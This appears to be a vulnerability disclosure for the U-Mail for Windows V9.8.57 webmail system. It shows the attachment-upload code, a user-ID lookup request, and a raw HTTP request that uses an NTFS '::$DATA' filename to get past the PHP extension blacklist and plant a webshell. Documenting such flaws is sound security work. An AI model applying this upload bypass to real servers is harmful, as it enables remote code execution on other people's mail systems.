漏洞作者：
U-mail邮件系统某处处理不当，导致getshell
详细说明：
版本：U-Mail for Windows V9.8.57
测试帐号：hello0001@fuck.com
测试主机：windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置]
首先需要获取用户的UserID，因为其缓存目录路径为 umail\WorldClient\html\client\cache\{userid}\
获取用户id的接口为
http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=
1&keyword=hello0001
得知userid为3
上传缺陷
漏洞文件，umail\WorldClient\html\client\mail\module\o_attach.php
代码
if ( ACTION == "attach-upload-batch" && $_FILES ){ $file_name = $_FILES['Filedata']['name']; $file_type = $_FILES['Filedata']['type']; $file_size = $_FILES['Filedata']['size']; $file_source = $_FILES['Filedata']['tmp_name']; $path_target = getusercachepath( ); $not_allow_ext = array( "php", "phps", "php3", "exe", "bat" ); $res_data = array( ); foreach ( $file_source as $k => $v ) { $file_id = makerandomname( ); $file_suffix = getfilenamesuffix( $file_name[$k] ); if ( in_array( $file_suffix, $not_allow_ext ) ) { $res_data[] = array( "status" => "0", "message" => el( "不支持该扩展名文件上传", "" ), "filename" => $file_name[$k], "filesize" => $file_size[$k], "file_id" => $file_id ); } else { $file_target = $path_target.$file_id.".".$file_suffix; if ( !move_uploaded_file( $v, $file_target ) ) { $res_data[] = array( "status" => "0", "message" => el( "写入文件出错，请与管理员联系！", "" ), "filename" => $file_name[$k], "filesize" => $file_size[$k], "file_id" => $file_id ); } else { $res_data[] = array( "status" => "1", "filename" => trim( $file_name[$k] ), "filesize" => $file_size[$k], "file_id" => $file_id ); $_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name[$k], "type" => "1", "path" => $file_target, "size" => $file_size[$k] ); } } } dump_json( $res_data );} 之前版本允许传php文件，最新版采用了黑名单机制，不允许传php文件，无法绕过其后缀检测。但是利用NTFS的ADS特性，可以绕过其黑名单机制，如图
发送邮件，选择拖拽添加附件，burpsuite拦截包，修改文件名为s.php::$DATA即可绕过，如图
POST /webmail/client/mail/index.php?module=operate&action=attach-upload-batch HTTP/1.1Host: mail.fuck.comProxy-Connection: keep-aliveContent-Length: 233Origin: http://mail.fuck.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary37jD3r27mTgTBrAhAccept: */*Referer: http://mail.fuck.com/webmail/client/mail/index.php?module=view&action=mail-composeAccept-Encoding: gzip,deflateAccept-Language: zh-CN,zh;q=0.8Cookie: PHPSESSID=3b8305453c65c1039f33832b23268fff------WebKitFormBoundary37jD3r27mTgTBrAhContent-Disposition: form-data; name="Filedata[]"; filename="s.php::$DATA"Content-Type: application/octet-stream ------WebKitFormBoundary37jD3r27mTgTBrAh--
则获得的webshell地址为 http://mail.fuck.com/webmail/client/cache/3/14178435495.php
关于这种windows类型的上传缺陷参考：
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